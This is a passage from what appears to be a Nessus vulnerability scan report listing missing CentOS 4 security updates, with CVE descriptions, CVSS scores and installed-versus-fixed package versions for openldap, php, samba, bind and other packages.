Remote package installed : ntp-4.2.0.a.20040617-6.el4
Should be : ntp-4.2.0.a.20040617-8.el4_8.2.centos

31138 - CentOS 4 / 5 : openldap (CESA-2008:0110)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated openldap packages that fix security issues are now available for Red Hat Enterprise Linux 4 and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

OpenLDAP is an open source suite of Lightweight Directory Access Protocol (LDAP) applications and development tools. LDAP is a set of protocols for accessing directory services.

These updated openldap packages fix a flaw in the way the OpenLDAP slapd daemon handled modify and modrdn requests with NOOP control on objects stored in a Berkeley DB (BDB) storage backend. An authenticated attacker with permission to perform modify or modrdn operations on such LDAP objects could cause slapd to crash.

(CVE-2007-6698, CVE-2008-0658)

Users of openldap should upgrade to these updated packages, which contain a backported patch to correct this issue.

See Also

<http://www.nessus.org/u?aedc486>
<http://www.nessus.org/u?df0eef34>
<http://www.nessus.org/u?b727b99f>
<http://www.nessus.org/u?a840305e>
<http://www.nessus.org/u?a8a4e482>

Solution

Update the affected openldap packages.

Risk Factor

Medium

CVSS v2.0 Base Score

4.0 (CVSS2#AV:N/AC:L/Au:S/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.0 (CVSS2#E:U/RL:OF/RC:C)

References

BID	26245
BID	27778
CVE	CVE-2007-6698
CVE	CVE-2008-0658
XREF	RHSA:2008:0110
XREF	CWE:399

Plugin Information

Published: 2008/02/25, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : openldap-2.2.13-7.4E
Should be : openldap-2.2.13-8.el4_6.4

Remote package installed : openldap-clients-2.2.13-7.4E
Should be : openldap-clients-2.2.13-8.el4_6.4

Remote package installed : openldap-devel-2.2.13-7.4E
Should be : openldap-devel-2.2.13-8.el4_6.4

33490 - CentOS 4 / 5 : openldap (CESA-2008:0583)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated openldap packages that fix a security issue are now available for Red Hat Enterprise Linux 4 and 5.

This update has been rated as having important security impact by the Red Hat Security Response Team.

OpenLDAP is an open source suite of Lightweight Directory Access Protocol (LDAP) applications and development tools. LDAP is a set of protocols for accessing directory services.

A denial of service flaw was found in the way the OpenLDAP slapd daemon processed certain network messages. An unauthenticated remote attacker could send a specially crafted request that would crash the slapd daemon. (CVE-2008-2952)

Users of openldap should upgrade to these updated packages, which contain a backported patch to correct this issue.

See Also

<http://www.nessus.org/u?f89aee54>
<http://www.nessus.org/u?5b2f53bc>
<http://www.nessus.org/u?bdddcee9>
<http://www.nessus.org/u?248c6f17>
<http://www.nessus.org/u?c46cea41>

Solution

Update the affected openldap packages.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	30013
CVE	CVE-2008-2952
XREF	RHSA:2008:0583
XREF	CWE:399

Plugin Information

Published: 2008/07/15, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : openldap-2.2.13-7.4E
Should be : openldap-2.2.13-8.el4_6.5
```

```
Remote package installed : openldap-clients-2.2.13-7.4E
Should be : openldap-clients-2.2.13-8.el4_6.5
```

```
Remote package installed : openldap-devel-2.2.13-7.4E
Should be : openldap-devel-2.2.13-8.el4_6.5
```

50862 - CentOS 4 / 5 : php (CESA-2010:0919)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated php packages that fix multiple security issues are now available for Red Hat Enterprise Linux 4 and 5.

The Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

PHP is an HTML-embedded scripting language commonly used with the Apache HTTP Server.

An input validation flaw was discovered in the PHP session serializer.

If a PHP script generated session variable names from untrusted user input, a remote attacker could use this flaw to inject an arbitrary variable into the PHP session. (CVE-2010-3065)

An information leak flaw was discovered in the PHP var_export() function implementation. If some fatal error occurred during the execution of this function (such as the exhaustion of memory or script execution time limit), part of the function's output was sent to the user as script output, possibly leading to the disclosure of sensitive information. (CVE-2010-2531)

A numeric truncation error and an input validation flaw were found in the way the PHP utf8_decode() function decoded partial multi-byte sequences for some multi-byte encodings, sending them to output without them being escaped. An attacker could use these flaws to perform a cross-site scripting attack. (CVE-2009-5016, CVE-2010-3870)

It was discovered that the PHP lcg_value() function used insufficient entropy to seed the pseudo-random number generator. A remote attacker could possibly use this flaw to predict values returned by the function, which are used to generate session identifiers by default.

This update changes the function's implementation to use more entropy during seeding. (CVE-2010-1128)

It was discovered that the PHP fnmatch() function did not restrict the length of the pattern argument. A remote attacker could use this flaw to crash the PHP interpreter where a script used fnmatch() on untrusted matching patterns. (CVE-2010-1917)

A NULL pointer dereference flaw was discovered in the PHP XML-RPC extension. A malicious XML-RPC client or server could use this flaw to crash the PHP interpreter via a specially crafted XML-RPC request.

(CVE-2010-0397)

All php users should upgrade to these updated packages, which contain backported patches to resolve these issues. After installing the updated packages, the httpd daemon must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?1573b130>
<http://www.nessus.org/u?f265b3da>
<http://www.nessus.org/u?b2b40099>
<http://www.nessus.org/u?409943b3>

Solution

Update the affected php packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	38430
BID	38708
BID	41991
BID	44605
BID	44889
CVE	CVE-2009-5016
CVE	CVE-2010-0397
CVE	CVE-2010-1128
CVE	CVE-2010-1917
CVE	CVE-2010-2531
CVE	CVE-2010-3065
CVE	CVE-2010-3870
XREF	RHSA:2010:0919

Plugin Information

Published: 2010/12/02, Modified: 2021/01/04

Plugin Output

tcp/0

```

Remote package installed : php-4.3.9-3.26
Should be : php-4.3.9-3.31

Remote package installed : php-ldap-4.3.9-3.26
Should be : php-ldap-4.3.9-3.31

Remote package installed : php-mysql-4.3.9-3.26
Should be : php-mysql-4.3.9-3.31

Remote package installed : php-pear-4.3.9-3.26
Should be : php-pear-4.3.9-3.31

```

42266 - CentOS 4 / 5 : samba (CESA-2009:1529)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated samba packages that fix multiple security issues are now available for Red Hat Enterprise Linux 4 and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

Samba is a suite of programs used by machines to share files, printers, and other information.

A denial of service flaw was found in the Samba smbd daemon. An authenticated, remote user could send a specially crafted response that would cause an smbd child process to enter an infinite loop. An authenticated, remote user could use this flaw to exhaust system resources by opening multiple CIFS sessions. (CVE-2009-2906)

An uninitialized data access flaw was discovered in the smbd daemon when using the non-default 'dos filemode' configuration option in 'smb.conf'. An authenticated, remote user with write access to a file could possibly use this flaw to change an access control list for that file, even when such access should have been denied. (CVE-2009-1888)

A flaw was discovered in the way Samba handled users without a home directory set in the back-end password database (e.g. '/etc/passwd'). If a share for the home directory of such a user was created (e.g. using the automated '[homes]' share), any user able to access that share could see the whole file system, possibly bypassing intended access restrictions. (CVE-2009-2813)

The mount.cifs program printed CIFS passwords as part of its debug output when running in verbose mode. When mount.cifs had the setuid bit set, a local, unprivileged user could use this flaw to disclose passwords from a file that would otherwise be inaccessible to that user. Note: mount.cifs from the samba packages distributed by Red Hat does not have the setuid bit set. This flaw only affected systems where the setuid bit was manually set by an administrator. (CVE-2009-2948)

Users of Samba should upgrade to these updated packages, which contain backported patches to correct these issues. After installing this update, the smb service will be restarted automatically.

See Also

<http://www.nessus.org/u?20e49ed2>
<http://www.nessus.org/u?779911fe>
<http://www.nessus.org/u?59b34b65>
<http://www.nessus.org/u?ebdabe0d>

Solution

Update the affected samba packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.0 (CVSS2#AV:N/AC:M/Au:S/C:P/I:P/A;P)

CVSS v2.0 Temporal Score

4.4 (CVSS2#E:U/RL:OF/RC:C)

References

BID	36363
BID	36572
BID	36573
CVE	CVE-2009-1888

CVE	CVE-2009-2813
CVE	CVE-2009-2906
CVE	CVE-2009-2948
XREF	RHSA:2009:1529
XREF	CWE:264

Plugin Information

Published: 2009/10/28, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : samba-client-3.0.10-1.4E.11
Should be : samba-client-3.0.33-0.18.e14_8

Remote package installed : samba-common-3.0.10-1.4E.11
Should be : samba-common-3.0.33-0.18.e14_8

52505 - CentOS 4 / 5 : samba (CESA-2011:0305)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated samba packages that fix one security issue are now available for Red Hat Enterprise Linux 4, 5, and 6.

The Red Hat Security Response Team has rated this update as having important security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

Samba is a suite of programs used by machines to share files, printers, and other information.

A flaw was found in the way Samba handled file descriptors. If an attacker were able to open a large number of file descriptors on the Samba server, they could flip certain stack bits to '1' values, resulting in the Samba server (smbd) crashing. (CVE-2011-0719)

Red Hat would like to thank the Samba team for reporting this issue.

Users of Samba are advised to upgrade to these updated packages, which contain a backported patch to resolve this issue. After installing this update, the smb service will be restarted automatically.

See Also

<http://www.nessus.org/u?93e5d170>
<http://www.nessus.org/u?aa3ca362>
<http://www.nessus.org/u?53f91375>
<http://www.nessus.org/u?65d97fa3>

Solution

Update the affected samba packages.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

BID	46597
CVE	CVE-2011-0719
XREF	RHSA:2011:0305

Plugin Information

Published: 2011/03/03, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : samba-client-3.0.10-1.4E.11
Should be : samba-client-3.0.33-0.30.e14

Remote package installed : samba-common-3.0.10-1.4E.11
Should be : samba-common-3.0.33-0.30.e14

55997 - CentOS 4 / 5 : samba (CESA-2011:1219)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated samba packages that fix multiple security issues are now available for Red Hat Enterprise Linux 4 and 5.

The Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

Samba is a suite of programs used by machines to share files, printers, and other information.

A cross-site scripting (XSS) flaw was found in the password change page of the Samba Web Administration Tool (SWAT). If a remote attacker could trick a user, who was logged into the SWAT interface, into visiting a specially crafted URL, it would lead to arbitrary web script execution in the context of the user's SWAT session. (CVE-2011-2694)

It was found that SWAT web pages did not protect against Cross-Site Request Forgery (CSRF) attacks. If a remote attacker could trick a user, who was logged into the SWAT interface, into visiting a specially crafted URL, the attacker could perform Samba configuration changes with the privileges of the logged in user. (CVE-2011-2522)

A race condition flaw was found in the way the mount.cifs tool mounted CIFS (Common Internet File System) shares. If mount.cifs had the setuid bit set, a local attacker could conduct a symbolic link attack to trick mount.cifs into mounting a share over an arbitrary directory they were otherwise not allowed to mount to, possibly allowing them to escalate their privileges. (CVE-2010-0787)

It was found that the mount.cifs tool did not properly handle share or directory names containing a newline character. If mount.cifs had the setuid bit set, a local attacker could corrupt the mtab (mounted file systems table) file via a specially crafted CIFS share mount request. (CVE-2010-0547)

It was found that the mount.cifs tool did not handle certain errors correctly when updating the mtab file. If mount.cifs had the setuid bit set, a local attacker could corrupt the mtab file by setting a small file size limit before running mount.cifs. (CVE-2011-1678)

Note: mount.cifs from the samba packages distributed by Red Hat does not have the setuid bit set. We recommend that administrators do not manually set the setuid bit for mount.cifs.

Red Hat would like to thank the Samba project for reporting CVE-2011-2694 and CVE-2011-2522; the Debian Security Team for reporting CVE-2010-0787; and Dan Rosenberg for reporting CVE-2011-1678. Upstream acknowledges Nobuhiro Tsuji of NTT DATA Security Corporation as the original reporter of CVE-2011-2694; Yoshihiro Ishikawa of LAC Co., Ltd. as the original reporter of CVE-2011-2522; and the Debian Security Team acknowledges Ronald Volgers as the original reporter of CVE-2010-0787.

Users of Samba are advised to upgrade to these updated packages, which contain backported patches to resolve these issues. After installing this update, the smb service will be restarted automatically.

See Also

<http://www.nessus.org/u?b6da8e78>
<http://www.nessus.org/u?a8d50dd8>
<http://www.nessus.org/u?fe52cf92>
<http://www.nessus.org/u?74ab0647>
<http://www.nessus.org/u?29bfd921>
<http://www.nessus.org/u?7b1868b9>

Solution

Update the affected samba packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

References

BID	37992
CVE	CVE-2010-0547
CVE	CVE-2010-0787
CVE	CVE-2011-1678
CVE	CVE-2011-2522
CVE	CVE-2011-2694
CVE	CVE-2011-3585
XREF	RHSA:2011:1219
XREF	CWE:20
XREF	CWE:59

Plugin Information

Published: 2011/08/30, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : samba-client-3.0.10-1.4E.11
Should be : samba-client-3.0.33-0.34.el4
```

```
Remote package installed : samba-common-3.0.10-1.4E.11
Should be : samba-common-3.0.33-0.34.el4
```

NOTE: The security advisory associated with this vulnerability has a fixed package version that may only be available in the continuous release (CR) repository for CentOS, until it is present in the next point release of CentOS.

If an equal or higher package level does not exist in the baseline repository for your major version of CentOS, then updates from the CR repository will need to be applied in order to address the vulnerability.

43735 - CentOS 4 / 5 : systemtap (CESA-2009:0373)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated systemtap packages that fix a security issue are now available for Red Hat Enterprise Linux 4 and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

SystemTap is an instrumentation infrastructure for systems running version 2.6 of the Linux kernel. SystemTap scripts can collect system operations data, greatly simplifying information gathering. Collected data can then assist in performance measuring, functional testing, and performance and function problem diagnosis.

A race condition was discovered in SystemTap that could allow users in the `stapusr` group to elevate privileges to that of members of the `stapdev` group (and hence root), bypassing directory confinement restrictions and allowing them to insert arbitrary SystemTap kernel modules. (CVE-2009-0784)

Note: This issue was only exploitable if another SystemTap kernel module was placed in the '`systemtap/`' module directory for the currently running kernel.

Red Hat would like to thank Erik Sjolund for reporting this issue.

SystemTap users should upgrade to these updated packages, which contain a backported patch to correct this issue.

See Also

<http://www.nessus.org/u?39f7b38f>
<http://www.nessus.org/u?510dd9f4>
<http://www.nessus.org/u?603d5057>
<http://www.nessus.org/u?57fdf488>
<http://www.nessus.org/u?252adce2>

Solution

Update the affected systemtap packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.9 (CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C)

References

CVE	CVE-2009-0784
XREF	RHSA:2009:0373
XREF	CWE:362

Plugin Information

Published: 2010/01/06, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : systemtap-0.5.12-1
Should be : systemtap-0.6.2-2.el4_7
```

```
Remote package installed : systemtap-runtime-0.5.12-1
Should be : systemtap-runtime-0.6.2-2.el4_7
```

25949 - CentOS 4 / 5 : tar (CESA-2007:0860)**Synopsis**

The remote CentOS host is missing a security update.

Description

Updated tar package that fixes a path traversal flaw is now available.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The GNU tar program saves many files together in one archive and can restore individual files (or all of the files) from that archive.

A path traversal flaw was discovered in the way GNU tar extracted archives. A malicious user could create a tar archive that could write to arbitrary files to which the user running GNU tar had write access.

(CVE-2007-4131)

Red Hat would like to thank Dmitry V. Levin for reporting this issue.

Users of tar should upgrade to this updated package, which contains a replacement backported patch to correct this issue.

See Also

<http://www.nessus.org/u?3821c664>
<http://www.nessus.org/u?c615b1a6>
<http://www.nessus.org/u?030d6296>
<http://www.nessus.org/u?d3ad8267>
<http://www.nessus.org/u?34b093c0>

Solution

Update the affected tar package.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

BID	25417
CVE	CVE-2007-4131
XREF	RHSA:2007:0860

Plugin Information

Published: 2007/08/28, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : tar-1.14-12.RHEL4
Should be : tar-1.14-12.5.1.RHEL4
```

52617 - CentOS 4 / 5 : vsftpd (CESA-2011:0337)

Synopsis

The remote CentOS host is missing a security update.

Description

An updated vsftpd package that fixes one security issue is now available for Red Hat Enterprise Linux 4, 5, and 6.

The Red Hat Security Response Team has rated this update as having important security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

vsftpd (Very Secure File Transfer Protocol (FTP) daemon) is a secure FTP server for Linux, UNIX, and similar operating systems.

A flaw was discovered in the way vsftpd processed file name patterns.

An FTP user could use this flaw to cause the vsftpd process to use an excessive amount of CPU time, when processing a request with a specially crafted file name pattern. (CVE-2011-0762)

All vsftpd users should upgrade to this updated package, which contains a backported patch to correct this issue. The vsftpd daemon must be restarted for this update to take effect.

See Also

<http://www.nessus.org/u?fd73a14d>
<http://www.nessus.org/u?de6d353f>
<http://www.nessus.org/u?7e3844df>
<http://www.nessus.org/u?00afc8bd>

Solution

Update the affected vsftpd package.

Risk Factor

Medium

CVSS v2.0 Base Score

4.0 (CVSS2#AV:N/AC:L/Au:S/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.1 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	46617
CVE	CVE-2011-0762
KREF	RHSA:2011:0337

Plugin Information

Published: 2011/03/11, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : vsftpd-2.0.1-5.EL4.5
Should be : vsftpd-2.0.1-9.el4
```

40894 - CentOS 4 / 5 : xmllsec1 (CESA-2009:1428)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated xmlsec1 packages that fix one security issue are now available for Red Hat Enterprise Linux 4 and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The XML Security Library is a C library based on libxml2 and OpenSSL.

It implements the XML Signature Syntax and Processing and XML Encryption Syntax and Processing standards. HMAC is used for message authentication using cryptographic hash functions. The HMAC algorithm allows the hash output to be truncated (as documented in RFC 2104).

A missing check for the recommended minimum length of the truncated form of HMAC-based XML signatures was found in xmlsec1. An attacker could use this flaw to create a specially crafted XML file that forges an XML signature, allowing the attacker to bypass authentication that is based on the XML Signature specification. (CVE-2009-0217)

Users of xmlsec1 should upgrade to these updated packages, which contain a backported patch to correct this issue. After installing the updated packages, applications that use the XML Security Library must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?1c0b8a5a>
<http://www.nessus.org/u?2af7162d>
<http://www.nessus.org/u?2a4f9fc6>
<http://www.nessus.org/u?a1bbe61e>
<http://www.nessus.org/u?892b7e19>
<http://www.nessus.org/u?83287544>

Solution

Update the affected xmlsec1 packages.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

BID	35671
CVE	CVE-2009-0217
XREF	RHSA:2009:1428

Plugin Information

Published: 2009/09/09, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : xmlsec1-1.2.6-3
Should be : xmlsec1-1.2.6-3.1
```

```
Remote package installed : xmlsec1-openssl-1.2.6-3
Should be : xmlsec1-openssl-1.2.6-3.1
```

53813 - CentOS 4 / 5 : xmlsec1 (CESA-2011:0486)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated xmlsec1 packages that fix one security issue and one bug are now available for Red Hat Enterprise Linux 4 and 5.

The Red Hat Security Response Team has rated this update as having moderate security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

The XML Security Library is a C library based on libxml2 and OpenSSL that implements the XML Digital Signature and XML Encryption standards.

A flaw was found in the way xmlsec1 handled XML files that contain an XSLT transformation specification. A specially crafted XML file could cause xmlsec1 to create or overwrite an arbitrary file while performing the verification of a file's digital signature. (CVE-2011-1425)

Red Hat would like to thank Nicolas Gregoire and Aleksey Sanin for reporting this issue.

This update also fixes the following bug :

* xmlsec1 previously used an incorrect search path when searching for crypto plug-in libraries, possibly trying to access such libraries using a relative path. (BZ#558480, BZ#700467)

Users of xmlsec1 should upgrade to these updated packages, which contain backported patches to correct these issues. After installing the update, all running applications that use the xmlsec1 library must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?52c12f65>
<http://www.nessus.org/u?4253b3e1>
<http://www.nessus.org/u?dc2efbe9>
<http://www.nessus.org/u?d23f5cfb>

Solution

Update the affected xmlsec1 packages.

Risk Factor

Medium

CVSS v2.0 Base Score

5.1 (CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

4.0 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	47135
CVE	CVE-2011-1425
XREF	RHSA:2011:0486

Plugin Information

Published: 2011/05/06, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : xmlsec1-1.2.6-3
Should be : xmlsec1-1.2.6-3.2
```

```
Remote package installed : xmlsec1-openssl-1.2.6-3
Should be : xmlsec1-openssl-1.2.6-3.2
```

38895 - CentOS 4 : NetworkManager (CESA-2009:0362)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated NetworkManager packages that fix a security issue are now available for Red Hat Enterprise Linux 4.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

NetworkManager is a network link manager that attempts to keep a wired or wireless network connection active at all times.

An information disclosure flaw was found in NetworkManager's D-Bus interface. A local attacker could leverage this flaw to discover sensitive information, such as network connection passwords and pre-shared keys. (CVE-2009-0365)

Red Hat would like to thank Ludwig Nussel for responsibly reporting this flaw.

NetworkManager users should upgrade to these updated packages, which contain a backported patch that corrects this issue.

See Also

<http://www.nessus.org/u?11552d93>
<http://www.nessus.org/u?d3af65f>
<http://www.nessus.org/u?85581421>

Solution

Update the affected networkmanager packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.2 (CVSS2#AV:L/AC:L/Au:S/C:N/I:C/A:C)

CVSS v2.0 Temporal Score

5.1 (CVSS2#E:F/RL:OF/RC:C)

References

BID	33966
CVE	CVE-2009-0365
CVE	CVE-2009-0578
XREF	RHSA:2009:0362
XREF	CWE:264

Exploitable With

CANVAS (true)

Plugin Information

Published: 2009/05/26, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : NetworkManager-0.3.1-4.el4
Should be : NetworkManager-0.3.1-5.el4

51776 - CentOS 4 : apr-util (CESA-2010:0950)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated apr-util packages that fix one security issue are now available for Red Hat Enterprise Linux 4, 5, and 6.

The Red Hat Security Response Team has rated this update as having moderate security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

The Apache Portable Runtime (APR) is a portability library used by the Apache HTTP Server and other projects. apr-util is a library which provides additional utility interfaces for APR; including support for XML parsing, LDAP, database interfaces, URI parsing, and more.

It was found that certain input could cause the apr-util library to allocate more memory than intended in the apr_brigade_split_line() function. An attacker able to provide input in small chunks to an application using the apr-util library (such as httpd) could possibly use this flaw to trigger high memory consumption. (CVE-2010-1623)

All apr-util users should upgrade to these updated packages, which contain a backported patch to correct this issue. Applications using the apr-util library, such as httpd, must be restarted for this update to take effect.

See Also

<http://www.nessus.org/u?09fcc179>

<http://www.nessus.org/u?76ccd0ec>

Solution

Update the affected apr-util packages.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

BID	43673
CVE	CVE-2010-1623
XREF	RHSA:2010:0950

Plugin Information

Published: 2011/01/28, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : apr-util-0.9.4-21
Should be : apr-util-0.9.4-22.el4_8.3
```

40436 - CentOS 4 : bind (CESA-2009:1180)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated bind packages that fix a security issue and a bug are now available for Red Hat Enterprise Linux 4.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The Berkeley Internet Name Domain (BIND) is an implementation of the Domain Name System (DNS) protocols. BIND includes a DNS server (named); a resolver library (routines for applications to use when interfacing with DNS); and tools for verifying that the DNS server is operating correctly.

A flaw was found in the way BIND handles dynamic update message packets containing the 'ANY' record type. A remote attacker could use this flaw to send a specially crafted dynamic update packet that could cause named to exit with an assertion failure. (CVE-2009-0696)

Note: even if named is not configured for dynamic updates, receiving such a specially crafted dynamic update packet could still cause named to exit unexpectedly.

This update also fixes the following bug :

* when running on a system receiving a large number of (greater than 4,000) DNS requests per second, the named DNS nameserver became unresponsive, and the named service had to be restarted in order for it to continue serving requests. This was caused by a deadlock occurring between two threads that led to the inability of named to continue to service requests. This deadlock has been resolved with these updated packages so that named no longer becomes unresponsive under heavy load. (BZ#512668)

All BIND users are advised to upgrade to these updated packages, which contain backported patches to resolve these issues. After installing the update, the BIND daemon (named) will be restarted automatically.

See Also

<http://www.nessus.org/u?e7ee78f9>
<http://www.nessus.org/u?090953ff>

Solution

Update the affected bind packages.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.6 (CVSS2#E:F/RL:OF/RC:C)

References

BID	35848
CVE	CVE-2009-0696
XREF	RHSA:2009:1180
XREF	CWE:16

Exploitable With

Core Impact (true)

Plugin Information

Published: 2009/07/31, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : bind-libs-9.2.4-24.EL4
Should be : bind-libs-9.2.4-30.el4_8.4
```

```
Remote package installed : bind-utils-9.2.4-24.EL4
Should be : bind-utils-9.2.4-30.el4_8.4
```

51783 - CentOS 4 : bind (CESA-2010:1000)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated bind packages that fix one security issue are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having important security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

The Berkeley Internet Name Domain (BIND) is an implementation of the Domain Name System (DNS) protocols. BIND includes a DNS server (named); a resolver library (routines for applications to use when interfacing with DNS); and tools for verifying that the DNS server is operating correctly.

It was discovered that named did not invalidate previously cached SIG records when adding an NCACHE record for the same entry to the cache. A remote attacker allowed to send recursive DNS queries to named could use this flaw to crash named. (CVE-2010-3613)

All BIND users are advised to upgrade to these updated packages, which contain a backported patch to resolve this issue. After installing the update, the BIND daemon (named) will be restarted automatically.

See Also

<http://www.nessus.org/u?d680b464>
<http://www.nessus.org/u?ddb42004>

Solution

Update the affected bind packages.

Risk Factor

Medium

CVSS v2.0 Base Score

4.0 (CVSS2#AV:N/AC:L/Au:S/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.0 (CVSS2#E:U/RL:OF/RC:C)

References

BID	45133
CVE	CVE-2010-3613
XREF	RHSA:2010:1000

Plugin Information

Published: 2011/01/28, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : bind-libs-9.2.4-24.EL4
Should be : bind-libs-9.2.4-30.el4_8.6
```

```
Remote package installed : bind-utils-9.2.4-24.EL4
Should be : bind-utils-9.2.4-30.el4_8.6
```

56973 - CentOS 4 : bind (CESA-2011:1496)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated bind packages that fix one security issue are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having important security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

The Berkeley Internet Name Domain (BIND) is an implementation of the Domain Name System (DNS) protocols. BIND includes a DNS server (named); a resolver library (routines for applications to use when interfacing with DNS); and tools for verifying that the DNS server is operating correctly.

A flaw was discovered in the way BIND handled certain DNS queries, which caused it to cache an invalid record. A remote attacker could use this flaw to send repeated queries for this invalid record, causing the resolvers to exit unexpectedly due to a failed assertion.
(CVE-2011-4313)

Users of bind are advised to upgrade to these updated packages, which resolve this issue. After installing the update, the BIND daemon (named) will be restarted automatically.

See Also

<http://www.nessus.org/u?3f142a5c>
<http://www.nessus.org/u?9f62a62c>

Solution

Update the affected bind packages.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

BID	50690
CVE	CVE-2011-4313
XREF	RHSA:2011:1496

Plugin Information

Published: 2011/11/30, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : bind-libs-9.2.4-24.EL4
```

Should be : bind-libs-9.2.4-38.el4

Remote package installed : bind-utils-9.2.4-24.E4
Should be : bind-utils-9.2.4-38.el4

45089 - CentOS 4 : cpio (CESA-2010:0143)

Synopsis

The remote CentOS host is missing a security update.

Description

An updated cpio package that fixes one security issue is now available for Red Hat Enterprise Linux 4.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

GNU cpio copies files into or out of a cpio or tar archive.

A heap-based buffer overflow flaw was found in the way cpio expanded archive files. If a user were tricked into expanding a specially crafted archive, it could cause the cpio executable to crash or execute arbitrary code with the privileges of the user running cpio.

(CVE-2010-0624)

Red Hat would like to thank Jakob Lell for responsibly reporting this issue.

Users of cpio are advised to upgrade to this updated package, which contains a backported patch to correct this issue.

See Also

<http://www.nessus.org/u?70e8f39b>
<http://www.nessus.org/u?fbff8d0d>

Solution

Update the affected cpio package.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

